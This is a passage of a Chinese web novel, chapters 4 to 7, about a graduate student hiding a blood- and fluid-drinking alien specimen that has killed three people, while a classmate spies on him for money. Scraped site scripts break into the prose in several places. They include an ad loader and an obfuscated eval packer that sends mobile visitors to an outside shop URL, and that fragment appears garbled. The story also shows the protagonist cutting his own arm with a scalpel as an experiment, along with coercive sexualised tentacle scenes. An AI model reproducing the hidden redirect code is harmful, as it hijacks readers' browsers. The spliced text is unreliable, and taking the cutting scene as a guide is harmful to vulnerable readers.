一阵冰凉的湿意触碰上脸颊,让陆禾下意识闷闷地哼了一声。 他惊讶地发现,那触感居然来源于刚刚那在他面前碰来碰去的腕足。 腕足小巧的尖端伸展开,轻轻抚过陆禾湿润的脸颊,触碰过的地方,泪水的痕迹都在一瞬间变得干干净净。 他闻到一股甜甜的味道。 让陆禾紧绷的神经很放松。 不知过了多久,陆禾有了一个让他自己都觉得惊讶的想法。 祂在替自己擦眼泪吗? 如果陆禾能从另外一个视角看现在的情景的话,或许会有别的观点。 相比起擦拭,祂在做的事情,更像是舔舐。 祂在舔陆禾的泪水。 替陆禾弄干净了小脸蛋,那几根触手就重新缩回了天花板,盘成了一团深紫色的东西,吸附在天花板上。 折腾了这么久,天也黑了下来。 陆禾没什么力气再支撑自己出门,点了个外卖随便填饱肚子。 他吃饭的时候,那东西还探头探脑地又下来了一次,陆禾吓得直接把自己的盒饭交了出去。 但祂好像对人类的食物并不感兴趣,反倒一直观察着陆禾。 似乎这才是更美味的食物。 陆禾匆匆吃了饭然后洗漱,早早地就爬上了床。 其他的事情他什么也不敢做,唯一能想到的,就只有躺在床上了。 但当他闭上眼睛的时候,心里的警报声前所未有地响亮。 祂,还趴宿舍的在天花板上。 于是陆禾假装安静地躺了一会,在听见屋内一片安静后,于黑暗中,他悄悄睁开了眼。 然后一根触手就垂到了他的面前。 腕足尖端还打了个弯,像是在好奇地问:有什么事情吗? 陆禾立刻闭上了眼睛。 面前重归一片黑暗,随即,一阵窸窸窣窣和黏液的声音响起。 那根触手似乎收了回去。 陆禾吞咽了一下,竭力平复着自己的呼吸,假装睡觉。 在耐心倒数了三百个数后,他再一次,悄悄地睁开了自己的左眼皮。 嗖一下,触手又落了下来。 陆禾:…… 祂明显比陆禾想象的要更加敏锐,不管陆禾怎么调整自己的动作,睡姿,睁眼的角度,幅度。 只要心念一动,身体做出了一点点反应,那触手都能在第一时间察觉到。 然后乐此不疲地探身.下来,到陆禾的面前打个弯,像是在和他闹。 于是一人一触手就这么睁眼,探头,闭眼,缩头……一直循环到后半夜,陆禾的眼皮都开始打架了。 他并不希望自己变成心盲眼瞎的猎物,毫无防备地暴露在捕食者的视野里,但是无奈真的太困了,一阵倦意汹涌地袭来,几乎是闭上眼睛的一瞬间,陆禾就沉沉地睡了过去。 屋内唯余窗外洒进来的几缕月光,安静得只剩下窗外的风声。 一阵黏腻而绵长的游动声响起。 三根触手一齐从天花板上探了下来,彼此之间上下移动,交叉换位……在安静地折腾了一阵后,似乎是发现床榻上的人终于真的睡着了,那几根触手又缓缓地收回了天花板的黑暗之中。 陆禾呼吸绵长。 也许是没了楼上的吵闹,也许是太累了,又或者因为别的什么……这一觉,他睡得格外的沉。 * “陆学长,你昨天请假了啊?” “气色不错,休息得好吗?” 第二天一早,陆禾背着包到学院门口的时候遇上了几个晚辈同门。 一阵寒暄过后,他走近大门,看到了一辆停在院门口的豪车。 “哎哟我去,这不是去年的限量款吗,一辆快八位数了吧。” “哪家少爷小姐开来的。” “天空一声巨响,老奴闪亮登场……” 几个年轻的学弟在那插科打诨围着车看,陆禾却径直走过,准备直接回实验室。 在食堂的肉和汤之间都要考虑放弃哪一个的贫困生,是没有兴趣研究戒环上的钻石究竟是几克拉重的。 入了秋,天气渐凉,他今天穿了件高领毛衣。 当然,主要目的是为了遮挡他脖子上那圈痕迹。 他今早看到的时候都触目惊心了,一圈红色印痕经过一晚上,都变得有些紫,看上去就好像给他戴了个铆钉颈圈似的。 出门前他胡乱擦了点消炎药,现在药膏黏着高高竖起的领口的布料,略微有些不太舒服。 陆禾回到实验室自己的工位,装样本的培养皿还放在桌面上,里头的水迹已经干涸。 他望着空荡荡的玻璃面,有些出神。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>谁能想到之前整整一个月都跟块石头似的没有任何生命体征的腕足样本,在短短两天之内居然变化如此之大,不禁长成了四条触手,而且还杀了三个人…… 陆禾打开面前的光脑,几乎是刻如DNA的动作,开始在屏幕上敲下自己对“祂”的分析。 [K-13星球样本展现出了明显的生命特征,目前观察到其主要活动的手段是通过腕足,腕足上的吸盘可以刺破人类的皮肤,腕足上的黏液则用于绞紧猎物,避免其过度反抗。] 陆禾被触手绞紧的时候不是没想过挣扎,但一来二者之间的力量差距悬殊;二来,那触手上的黏液滑腻腻的,他被吊起来的时候根本就使不上力。 [除此之外还有极强的生长能力,高度的生物敏锐度,或许仍有超过人类想象的智力。] 前两点已经不需要验证,肉眼就可以观察得出结论。 而最后一点,关于“祂”的智力,陆禾做过实验。 今天早上他要出门的时候,认真考虑过要不要抛下所有东西一去不返。 但是当他悄悄拿起必要的东西打包而成的行李包的时候,一根触手便勾住了那个袋子。 陆禾当时还是害怕了一瞬。 但是经过反复谨慎的测试,陆禾觉得,“祂”似乎并没有要伤害他的意思。 尽管这一结果很难让他在现在打心底里相信。 尽管那被触手勒出来的痕迹烙在他脖子上仍旧鲜明。 生物形态、感知能力、智商水平都写了,还剩下…… 陆禾另起一行。 [食物图谱:眼泪] 还有, [……人(血肉)] “血肉”两个字从输入法里弹出来的时候,一直有些机械地敲着键盘的陆禾,猛地深呼吸了一口气。 像是陡然还魂了一般。 死了。 张朗死了,楼上两夫妻也死了。 是他的实验体杀死的! 陆禾按在键盘上的手打了个哆嗦,屏幕上出现了一连串的乱码字符。 他手掌颤抖着,从旁摸到了自己的老旧通讯器,上面依旧满是裂纹,陆禾没时间,也没有钱拿去维修。 陆禾顶着咚咚不停的心跳,输入了首都警方的通讯号码。 但在拨通的前一刻,他的手指停顿了。 真的要打吗? 陆禾自己都惊诧于这个念头的浮现。 但……还是那个问题:真的,要报警吗? 他报警的原因很简单:害怕。 害怕自己也会死在那东西的触手之下,像之前的三个人一样。 但报警之后呢? 他没有证据证明K-13星球样本展现出了生命属性,甚至无法证明受害者死于“祂”手。 反而会将自己置于一个困境:楼上两夫妻的死,张朗的死,和他,陆禾,有着几乎算是直接的关系。 但不报警呢? 祂,真的会伤害自己吗? 按捺着情绪,将心平复下来。 陆禾回想起这两天发生的事情,他意识到那触手弄掉他眼泪的动作,其实更像在进食。 就像吸他的血液时一样。 如果说只是进食,那的确没什么温情可言,只是不知道为什么,陆禾一回忆起当时的情景,就觉得不太对。 那动作,似乎过分温和了些。 温和……一个似乎并不应该出现在“捕食者”身上的词汇。 但的确出现了。 手比大脑更快,或者说是潜意识,操控着陆禾的双手,在键盘上又打下一行字。 [“祂”可能存在着与人类相似的情绪。] 而且还有一个对于陆禾来说,最为重要的问题。 如果“祂”被警方成功捕获,那么,他的毕业论文,又该怎么办? 一边是报警,但却无法确保自己百分百安全,并且,自己大概率会无法毕业,甚至有锒铛入狱的可能。 另一边是赌“祂”有与人类类似的情绪,赌“祂”不会弄死自己。 手指用力捏紧。 片刻后,拨号盘里的数字,按照与输入时相反的顺序一个一个消失。 按下息屏键,屏幕瞬间变为一片黑色,黑得能映出对面人的眼睛。 陆禾在自己破碎的倒影里,居然看到了闪瞬而过的,一丝疯狂。 5. 第 5 章 一个火急火燎的身影冲进实验室,刚推开门就喊陆禾的名字。 男生叫朱港明。 陆禾打的第一个求助电话就是给他的。 两人是同门,朱港明比陆禾要晚一年进实验室,正在读研三。 和陆禾一样,他也快要毕业了。 首都大学的学生们基本上家境都还不错,陆禾这样的学生相对来说比较另类。 而朱港明只比他的情况略好一点。 但因为整个师门的上上下下在科研上都要请教陆禾,所以在陆禾看来,他和同门之间的关系也不算太差。 有事联系,无事点头之交,对他来说刚刚好。 相比起来,朱港明对所有人都很热情,经常跟着大部队一起行动。 而他从假期从家里回来带的手信,都会给陆禾顺带一份。 陆禾把他当朋友。 “你昨天去哪了?”朱港明问,“我回电给你你都没接,我担心死了。” 陆禾将碎了屏的通讯设备反扣在桌面上。 他将培养皿放进旁边的消毒箱,开启臭氧杀菌模式。 “我……”陆禾顿了顿,道,“就是昨天有些累了,我想歇一歇。” “实验没进度吗?”朱港明拖了张椅子,坐在陆禾身旁。 陆禾还未回答,朱港明突然弯腰靠近。 他观察了一下四周,而后压低声音问:“陆禾,你那个K-13星球的样本,现在还好吗?” 陆禾按消毒按钮的手指一顿,心说朱港明莫不是发现了什么? ……但看对方的样子,似乎并不是。 他按捺下心中的波澜,反问了一句:“还好啊,你怎么突然问这个?” 朱港明的眼睛睁得大大的,他盯着陆禾看了一会。 “陆禾你靠近点,我告诉你一个秘密。” 陆禾不动声色,凑过去但保持了一点距离。 “前两天,张朗不是叫我们吃饭,然后突然自己回来了吗。” 朱港明说话的气流打在陆禾的耳廓,弄得十分不舒服。 “他当时说自己的实验样本忘记收了,但其实不是的。” “张朗回来,是因为妒忌你,他想偷偷毁了你那个K-13星球的实验样本!!” 声音不大,甚至很轻,但在陆禾的耳旁响起,无异于平地起了一声惊雷。 虽然陆禾心中早有猜想,但当想法真的被印证的那一刻,他还是无法做到表面上那么平静。 双目盯着面前的虚空看了一会,陆禾抿了抿唇。 他轻轻叹了一口气,道:“那还好,他没有把我的样本弄坏。” 不等朱港明说话,陆禾就转头看着他认真地问道:“那凶手呢?抓到凶手是谁了吗?” 两人安静地对视了许久,久到不知时间流淌了多少。 到最后,朱港明轻轻笑了笑。 “没有。”他摇头说,“还没有找到凶手的线索,也没抓到人。” 陆禾表情平静地道:“那希望快点找到。” “我先回去了,实验还没做完。”朱港明起身。 他走出几步回过头,坐在座位上的陆禾感受到他投去的视线,仰起似乎比往日还要尖俏清瘦了一些的小脸。 “还有什么事吗?”陆禾问了一句。 “没有。”朱港明今天似乎格外爱笑,而且笑得意味深长,“就是,感觉陆禾你好像变了点。” 陆禾不置可否。 “我去弄毕业论文的实验了。”朱港明摆手告别,回到了自己的工位上。 陆禾点头。 朱港明回到位置上,拿出自己的光脑。 他编辑了一条消息,发给了一个号码。 [陆禾说他没有遇到张朗] [但我觉得他在撒谎] 很快,对面就回复了他。 [继续监视,我的私家侦探会配合你] 朱港明垂着眼睛,敲字。 [之前说好的,事成?] [嗯,答应你的钱,我明天会先给你打一半] 这时,旁边一个穿金戴银的男生拍了拍朱港明的桌面。 “朱师兄,我这个菌群是不是有点问题啊,书上说要绵密干净的白色,我的怎么有点绿绿的……” 朱港明应了一声,“我就来。” [对了,我刚刚想钓他的话,看他对张朗的态度,但他完全不接茬] [让你的私家侦探也上心点,我感觉陆禾好像没有以前那么笨了] 回复完的朱港明将光脑收好,起身向那学弟走去。 “来了,我帮你看看。” * 朱港明的话,除了让陆禾确认了一件事:张朗是因为心生歹念想要溜回来破坏他的实验样本,碰上了不知为什么突然活过来的触手,也就是“祂”,才因此丧了命。 但同时也给陆禾提了一个醒,让他想到另外一个问题。 他刚刚没有报警,是因为一来可能给自己惹一身腥,二来他需要保住自己的实验样本。 但张朗三人的死,明摆着“祂”并不把人类当同类,对于人命的认知可能和人类看草芥差不多。 即使自己把“祂”留了下来,又该如何进行实验? K-13星球取回来的样本,已经验证了祂的确是生命体,但却有着普通人难以抗衡的力量,甚至是智慧。 陆禾可不觉得跑去和祂打商量,问“你能不能切一条触手给我做实验,就当为了我的毕业论文”会是一个好的选择。 重做吗…… 但陆禾为了这篇论文已经收集了很多的相关资料,做了大量的前期准备工作,此刻推倒重来,他倒不是怕麻烦。 陆禾摇头。 还是同样的问题,现在换实验选题,时间不够。 脸上映着屏幕的幽幽蓝光,陆禾的视线逐渐聚焦,定格在他方才写的实验记录最后一行。 祂的食物,是人类的血液,还有眼泪…… 陆禾心里逐渐生出一个猜想。 迎着洒金的夕阳来到操场,陆禾望着操场上数不清的身影,第一次知道原来学校里有这么多人在运动。 陆禾活动了一下关节,踩上跑道,跟着一个速度看上去很慢的路人一起动了起来。 但才跑了两圈,他就坚持不下去了。 汗水顺着鬓角滑下,一路淌过脸庞。 陆禾手都抬到一半了,想起离开实验室前的猜想,他有些不太舒服地忍了忍汗水在身上流动的触感,又把手掌放了下去。 清瘦的男生脸颊比平日里多了两朵红云,显得气色好了不少,只是虽然看上去很热,但他却仍旧穿着外面那件高领的T恤,没有把领口拉下来,也没有卷起袖子散热。 离开操场时,一辆有些熟悉的车从旁驶过。 陆禾看了一眼,发现是今早停在学院门口的那辆“限定款”。 他没多想,往自己的宿舍走去。 离宿舍楼还有一段距离的时候,陆禾感受了一下,身上的汗水已经半干,思索片刻,他又一次慢跑起来。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 上楼时他走得格外快,呼吸急促也没有停下。 而那辆驶过去的限量款豪车,在开远了之后,又无声无息地调头开了回来,到了陆禾宿舍楼下。 一个衣着打扮十分华丽的中年女人摇下车窗,墨镜下是一双染上青黑的眼睛。 “你说小朗讨厌的那个男生,就是他?” 车内副驾驶座上传来含着笑意的声音。 “是的,阿姨。” 中年妇女重新摇上车窗,看向身旁穿着灰格呢子大衣的私家侦探。 “查查他。” 而前排的车玻璃窗上。 倒映着朱港明阴晴不定的面容。 * 陆禾到了宿舍大门前,一只手扶着墙壁,大口大口地喘气。 他运动很少,刚刚在操场慢跑了两圈就觉得双腿灌了铅,更别说跑回宿舍这一段后又跑上楼了。 汗水浸湿了衣服,顺着鬓角一路滑下,陆禾却没有擦。 胸膛里的心脏正激动地往外泵血,但陆禾说不清那狂跳的心究竟是因为运动,还是因为紧张。 因为楼上的命案,这两天主动搬走的人很多,上下几层瞬间清寂安静了不少。 此刻却突显得心跳声更加清晰。 刚刚在实验室里,陆禾看着自己写下的最后一行实验记录。 祂的食物,是人的血肉,还有眼泪。 忍着剧烈的反胃感,陆禾回忆了一下自己昨天在楼上看到那对中年夫妻尸体时的场景细节。 虽然那两具尸体只剩下骨架,但实际分析现场会发现,尸体的肉·身,其实大部分是还在的,只不过被撕碎了。 所以,应该不是血肉。 而是血液。 触手勒上他的脖子,吸盘刺破皮肤后,祂啜饮的血液。 结合对方昨晚替他擦拭,或者更准确地说是舔舐眼泪的行为,陆禾有了一个大胆的猜想。 祂真正的食物,是“体·液”。 陆禾推开门。 下一秒,一股大力直接缠上了他的腰。 祂的反应,比想象当中的还要激烈! 猜对了! 但还没等他来得及喜悦,陆禾就发现,自己整个人被触手卷着吊上了半空! 而下一刻,除了卷着他腰的一根,黏在天花板上的一根,还有三根触手,分别从他的领口,右袖口,还有左裤管灵活地钻进了衣服里! 陆禾一惊,怎么回事? 怎么又多了一根触手! 突如其来的变化让陆禾方寸大乱,原本计划得好好的实验也不记得要做了。 他下意识地疯狂地挣扎起来,但是四肢都悬在空中无从借力,唯一能给他支撑的,就是腰上缠了两圈的比昨天还要粗了一点的那根触手。 “放,放我下去……” 陆禾本来就是跑回来的,体温高,便更觉得那腕足的冰凉温度有些过度刺激,额头上的汗珠又密集了一些,他挣扎的力度越来越大。 除了腰上的一根,还有一根缠着脚踝,另一根勾着腿根,陆禾顾着把这三根腕足弄走,没注意到那新长出来的一根腕足早已悄悄探到了他身后。 观察了一下挣扎的“猎物”,那腕足高高抬起。 对准陆禾的后腰,带着恰到好处不会把人打坏的力道,抽了下去。 啪! 陆禾的动作一顿,紧咬着的唇齿之间,最终还是控制不住地泄出一声闷闷的: “呜……” 脸在一瞬间,就红得要滴血。 6. 第 6 章 后腰火辣辣的。 像烧起来了似的。 见陆禾没了挣扎,那触手便也不再打他,但这一下也已经足够了。 钻进衣摆里,短短十几秒钟,陆禾身上和脸上的汗就被那贴上来的腕足尖弄了个干干净净。 陆禾甚至有一种被大型犬给舔了一顿的错觉。 身上瞬间变得干爽,陆禾整个人松快了不少,同时他也回归了科研视角,愈发确定地记录下:K-13星球样本,也就是“祂”,的确以人类的体·液作为食物。 陆禾也只走神了片刻,随即猛地回过神,死死抓住了腰上卷着的那根触手。 “不行!” 陆禾说话的声音都要比平常大声和迅速了几度,态度十分坚决。 “绝对不行!!” 触手顿了一下,似乎是察觉到了他的抗拒,犹豫了一阵后,还是十分“给面子”地缓缓缩了回去。 陆禾被放到床上的瞬间,就钻进了被窝里,找到了些许久违的安全感。 一双睁大溜圆的眼睛红通通的,刚泛出点不知道是害怕还是什么原因的泪花,就被探下来的触手给抢走了。 陆禾:…… 他咬着牙揉了揉后腰。 陆禾愈发确定了,这东西绝对没有人类的道德观念! 起身拿过挂在墙边的浴巾和睡衣,陆禾一瘸一拐地走向浴室。 被打了一下不说,刚刚那触手没轻没重地把他吊起来,直接扯到大腿韧带了。 “不准跟来!” 陆禾回头冲天花板那跃跃欲试的一团腕足说了一句,说完才意识到自己在凶的是谁。 出乎意料的,那触手居然真的停顿了一下,然后缩回去了。 陆禾也不敢多留,免得对方反应过来双方的力量差异水平再过来对他做些什么,赶紧去浴室了。 洗完澡陆禾又给身上上了药,身上的青紫痕迹依旧厉害,他想了想还是下单了一管比较贵但效果好一些的药膏。 开门拿外卖的时候,陆禾碰到了恰好回来的杜景恒,只是打个照面,对方就直勾勾地盯着他的脖子看。 陆禾掩了掩脖子上的围巾,也没和他打招呼,直接把门带上了。 一边拆药膏,陆禾一边用余光观察着天花板上的触手团。 那家伙缩成一团,像是吃饱喝足的什么大型野兽,流露出一股子饕足的气质。 根据陆禾刚刚“以身饲狼”的实验,确定了K-13星球的生命体——现在已经不能称其为样本了——的确是以人类的体·液为食,并且按照目前观测所得的规律,在进食后,祂会在一天内生长一根新的触手。 就不知道腕足数量的上限是多少。 根据人类已有的历史记载,头足纲生物多为八腕足或十腕足,极少数能有十数根。 虽然曾发现过古地球樱花国有96条腕足的章鱼,为迄今世界最高记录,但那一样本的产生是因为核污染而引发的变异所导致的。 现在,祂已经长出了五根腕足。 以后恐怕还会有更多。 不知不觉,陆禾就在笔记本上写下了非常多的记录。 他太专注,专注到两根触手从下摆钻进了衣服里,他才反应过来。 腕足尖端按上了陆禾的腰窝,力道不轻不重,轻轻揉着。 陆禾不怕痒,除了刚开始有些紧张,并没有别的感觉,而在确定了触手并不打算伤害他后,连紧张都没了,只剩一点恰到好处的放松。 陆禾发现比起第一次差点把他勒死,“祂”似乎开始慢慢学会控制力道,或者说,“祂”开始知晓人类身体的承受上限,究竟是多少了。 对比起来,现在的力气就显得很温柔。 也许是因为太放松,陆禾有些鬼迷心窍般开口,冲那从他肩后探出头来,似乎在看他手里笔记本上内容的那根腕足说了一句:“看得懂吗?” 腕足当然不可能回答他。 陆禾也是仗着这家伙大概率不懂人类的语言文字,哪怕笔记本上的内容是关于祂的,也不需要避嫌。 他专心地思考着还有没有其他可以添加的内容。 书桌前的青年专心致志,而依旧将腕足尖端抵在陆禾腰窝里的“祂”,转头看了一眼书角摆放着,那个名叫“镜子”的物品。 物品里倒映出了“祂”自己的模样。 深紫色的,有很多吸盘,有着亮晶晶黏液的触手。 祂的本相。 而此时祂在回忆的是,两天前陆禾中了祂的神经毒素后,在混杂了梦境和幻觉之中,所见到的那幅场景。 于是终于察觉到自己和那双蜜色的,有着结实漂亮肌肉线条的手臂,有着怎样的差异。 那是陆禾喜欢的样子吗? 当晚陆禾睡着后,一个阴影从天花板上缓缓移动下来。 放在房间角落许久未开,几乎已经废弃的老式光脑,悄然亮起了屏幕。 如果陆禾醒着,他会惊讶地发现:光脑上的密码锁,在“祂”的面前,几乎像没有一样。 深紫色的触手从书架上掏下一本字典,一阵书页的翻阅轻响过后,屏幕上的搜索引擎栏里敲出了两个字。 [人类] * 次日。 陆禾回到实验室。 恰好姜荷路过,他将人喊住。 “怎么了陆学长?”姜荷问。 陆禾捏了捏衣角,说:“之前老师给我们买的那批靠背枕,还有多的吗?” 陆禾的导师在学术界里也算半个大牛,经常出没在各种学术会议的评审席里,偶尔参加一些生化药类企业的品牌活动,会从品牌方哪里收到一些奇奇怪怪的礼物。 前段时间就收到了一批十几个软枕,上面还印了企业的LOGO。 因为配色太丑,导师不想要就带回了实验室发给学生们——当然,学生们也是不要的。 于是就闲置了。 “哦有的。”姜荷指着实验室前排的杂物室,“我记得放那里面了。” 陆禾道了谢,去杂物室里翻了个软枕出来。 外包装的塑料膜落了灰,但拆掉后里面还是干净的,陆禾拍了拍,枕芯挺柔软的。 他将枕头拿回自己的位置上,放在椅背靠下的地方。 小心翼翼地坐下去……嗯,不疼。 陆禾松了口气。 他今早出门穿鞋的时候往沙发上一坐,就控制不住地嘶了一声。 去浴室里观察了一下,才发现昨晚被触手抽过的地方多了一条鲜红清晰的血痕。 倒是没有皮肉伤,就是颜色吓人,但坐久了也有些不舒服。 将昨晚发现的内容更新到了自己的实验记录上。 [K-13星球样本的食物已确认为人类的体·液,暂时未发现不同液体种类的优先级] 但陆禾推测,昨晚祂没有吸血,而是单纯地把他的身体给扫荡了一遍。 或许血液的优先级并不高? 倒是挺意外的。 毕竟在各种科幻惊悚片里,这些“外星生物”对人类的血肉渴望度还是非常高的。 陆禾在思考着下一步的实验行动,就听见实验室前边一阵喧闹声,夹杂着什么感谢,闻着好香之类的。 他也的确闻到一股甜香气,但陆禾不太习惯在实验室里吃东西。 而且一般没他份,他收了东西也还不起…… “陆禾。” 桌面上被人放下一只焦糖牛角包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13952029|147843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “这份是你的。” 陆禾抬起头,看到了朱港明。 “刚路过烘焙店,给大家带了点吃的。”朱港明道。 既然是朱港明给大家带东西,有自己的份就不奇怪了。 陆禾看了一眼桌面上的牛角包,蓬松的面包体外包裹着一层烤得恰到好处的焦糖,像是晶莹的蜜,光是看都能想象咬下去的酥脆感。 为了省点生活费,陆禾经常把早饭这一顿留着跟中午一起吃。但他昨天下午跑了步,消耗大,今天早上确实比平常更饿一点。 于是陆禾没有拒绝。 “谢谢你。” “客气什么,快吃吧。”朱港明把牛角包往陆禾面前推了一点,“刚出炉热乎着呢,冷了就没那么香了。” 陆禾点头,他也的确饿了,拆开包装袋开始吃这顿意外的早餐。 “内馅里面有些坚果碎,可以吃的。”朱港明说了一句,“不用吐。” 陆禾点点头,“好。” 他一边细嚼慢咽,一边继续思考后续的实验安排。 装了杯水,陆禾一边吃牛角包一边喝,吃完牛角包后有些渴,他又装了一杯。 中午吃完饭陆禾没有午休,在实验室一直呆到放学,思考后面该往哪个方向继续实验。 “祂”只有一只,因此群居习惯、显隐性之类的方向很难实现,繁殖习惯和动物的发·情·期之类的也无法进行测试。 陆禾想着想着,又走到了饮水机前,直到有人笑着打趣了一句。 “陆学长今天像水牛。” 陆禾才后知后觉地回过神。 “我喝了很多次水吗?” 他是认真地发问,而其他同门对视了一眼,有人笑着说:“是啊,这是你今早第五杯水了。” 陆禾一愣,低头看手里满满当当的水杯。 他的杯子是700ml的,他一整天算上半夜起夜的总饮水量大概是2.5L左右。 但现在仅仅半天,就已经远远超过了一天的量。 而经同门提醒,陆禾才发现自己似乎有些渴得奇怪了。 水喝得多,陆禾晚上不饿。 其他的实验方向他还没有想出来,但目前可以测试一下“祂”对于食物的优先级。 血液、眼泪、汗液。 如果血液的优先级最低,万一以后陆禾再被吸血到上次那种濒死的状态,那当场哭出来便能保住性命,就像上次那样。 但一次实验不足以得出结论。 陆禾便先去跑了个步,想着喝多了水也刚好能消耗一点。 他原本的计划是跑完步买个饭团边吃边回宿舍,但两圈跑下来,他觉得肚子依旧很饱,甚至有一种还有东西没消化的感觉。 中午吃多了吗? 陆禾不确定。 回到宿舍门口,陆禾一身热气腾腾的。 汗珠顺着白皙的脖颈滑落至领口内,从小巧漂亮的喉结处坠落进布料里。 额前的发丝汗湿贴在眉骨上,恰好挡住了陆禾低垂的目光。 他挽起袖子。 视线落在手臂上,纤细,没什么肌肉,因为运动后血管舒张,冷白的皮肤下泛起了一点红。 藏在高领里的喉结轻轻滚动了一下。 陆禾从口袋里翻出一把消毒过的手术刀片,锋利的刃尖对准手臂,他闭上眼睛,果断地划了一道。 比起皮下的浅粉色,更加艳丽刺目的红色溢了出来。 疼痛让陆禾额前鼓起几道不明显的青筋,他用力闭了闭眼睛,再度睁开时,纤长浓密的睫毛已经和泛起血丝的眼眶一样,挂上了晶莹的泪花。 做好这一切准备,陆禾抓住把手。 推门而入。 7. 第 7 章 陆禾进门第一件事,是看天花板。 但往日里永远盘踞着一团深紫色触手的天花板,此时此刻空无一物。 而他摆在角落里的那台老式光脑,却开启着。 这台光脑很旧了,是陆禾读硕士的时候从二手市场淘来的旧货,当时为了赶一篇期刊的DDL不得已花钱买的。 因为当时实验室的设备有限,导师还没评上教授,好点的光脑基本被那几个富二代同门占用了,陆禾经常轮不上,只能自己买。 后来陆禾好几篇论文被导师拿去挂了一作,二作放了他和那几个占了光脑但没产出的富二代。 导师评上正教授,学校拨的经费上调;富二代的家长们看到孩子发了论文也很高兴,给实验室投了不少钱。 到博一的时候,陆禾终于在实验室拥有了专属的工作光脑。 随着几年过去,光脑硬件软件升级日新月异,宿舍这台本就是被一些家境很好的学生淘汰掉的旧款,就自然而然地废弃了。 陆禾下意识地上前,操作了一下,就发现了不对。 他的光脑好像升级了。 之前的光脑处理中低量复杂数据流的时候就已经开始卡顿了,但陆禾操作了一下,发现哪怕是用中高量的数据流,依旧流畅不少。 光脑的升级要么更换硬件,要么更换软件,但二者的生产和版权都已经被几家大公司所垄断。 陆禾听说过有的技术大佬能自己编写程序对光脑进行升级。 但至少他认识的人里没有人能不到。 而且他的光脑是有密码的。 因为陆禾没有什么特殊的日子需要记忆,甚至不知道自己准确的出生日期,他光脑的密码用的是复杂的曲面积分题。 至少高数95分以下的人是算不出来的。 他下意识的反应是看了一眼自己的门锁——虽然摇晃松动,但并没有被撬过的痕迹。 家里其他地方也没有被闯入的迹象。 那唯一一个可能,就只剩下…… 哧—— 冰凉黏腻感缠上腰肢和脖颈时,陆禾还是惊了一瞬的。 但他现在已经不会像之前那样吓得叫出声来了,心脏高高悬起了片刻,便缓缓地放了回去。 “是你帮忙做的吗?” 陆禾一直以为,“祂”虽然明显有智慧,但应该不懂人类的语言。 可从祂把光脑直接给升级了的情况来看,这来自K-13星球的生命体不仅有智慧,而且可能远远比人类高。 而且现在的“祂”明显还是个幼年体。 触手尖端点了点,居然是在表示肯定。 缠在陆禾腰上的触手又收紧了一点,其他几根也贴了上来。 像是在讨要奖励。 陆禾想起自己的目的,看了一眼手臂。 鲜血汩汩,仍在缓慢地往外淌,脸颊的薄汗也依旧细密。 他微微把手抬起。 触手几乎是一瞬间就贴了上去。 果然食谱里的第一顺位还是人类的血液吗。 虽然已经做好了最坏的猜想,但这一刻,陆禾的心还是控制不住地弥漫开一股淡淡的凉意。 这代表着他原本想要用泪水自保,避免再度陷入被吸血而死的可能性的规划落空了。 但陆禾怎么也没想到的是,几乎是在他心中念头刚刚升起的下一刻,触手就挪开了。 手臂上淌出来的鲜血被吸了个一干二净。 但祂却并没有继续咬着陆禾自己划伤的部位吸血。 相反的,一层亮晶晶的透明黏液覆盖在手臂上,而本还在流血的伤口,就这么停下了。 一句话在陆禾脑海中闪过。 [K-13星球样本的黏液,有类似于液体绷带的作用] 与此同时,另一根触手拂过脸颊,他感受到吸盘边缘摩擦而过的轻微触感。 先是汗水。 腕足尖端碰到眼角时似乎是顿了一下,而后另一只触手探到身前,在非常活灵活前地展现出了“观察”的姿态后,祂轻轻蹭了蹭陆禾的泪痕。 泪水。 陆禾目光私下扫视了一圈,今天“祂”似乎没有新的触手长出来,保持着和昨天的数量一样,五根。 一根触手固定绕在他的腰上,腕足尖端在游走,舔舐掉身上的汗水。 一根触手刚擦完他的眼泪,正立着,像在观察陆禾还有没有在哭。 帮忙止血的那根缠绕着陆禾的臂弯。 还有一根则勾住了陆禾的脚踝。 剩下最后一根腕足,立在半空之中,似乎是在目测哪里还有空余的位置留给自己。 脑海中闪过一道灵感的金光。 章鱼目生物拥有九个大脑,包括一个主脑和八个副脑,分别占据了身体神经元的四成和六成。 在古地球科学家发现这一特征的时候,曾震惊了整个科学界。 莫非,K-13星球的祂,也有类似的结构? 陆禾看着那根还在挑选落脚之处的腕足,觉得这个可能性非常大。 腰上的触手还在摸索。 陆禾感觉到祂似乎是有一瞬的停顿,然后按了一下,又换了几个角度按了按。 陆禾还没明白。 原本立在面前的那根触手,直接钻进了他的口腔里! 黏液的味道是甜的。 像是冰镇过的果冻,压着舌苔的时候,淡淡的甜味在味蕾上蔓延开来。 但很快陆禾就没有精力去品尝了。 因为腕足往里面去了! 陆禾小时候经常生病,因为吃的东西大多只能果腹,没什么营养,所以生得最多的就是胃病。 生病后他也看不起医生,只能等到每个周末去社区医院排队看义诊。 开义诊的很多都是好医生,但也有被人搞了打压下来免费给穷苦人看病的,心中积着怨气。 而对陆禾这样的小孩,自然也就没什么耐心。 曾经有一次陆禾嗓子发炎,要张嘴说啊检查的时候,那医生看也没看,就用木片去压他的舌根。 因为动作太粗鲁,木片直接戳到了陆禾的嗓子眼。 他忍不住反酸,还被那医生嫌弃地骂了几句。 但那时的感觉和现在比起来,简直是小巫见大巫了。 小舌头被直接压在上颚,触手依旧在不断往里,虽然有着黏液,但黏膜的摩擦感依旧清晰。 触手跟大部分头足纲生物的触手十分相似,相比起彼此连接的末端,腕足的前端会更细一点。 但对陆禾这个全身都很清瘦的人来说,前端就已经够难受的了。 更别说,腕足还在不断往里。 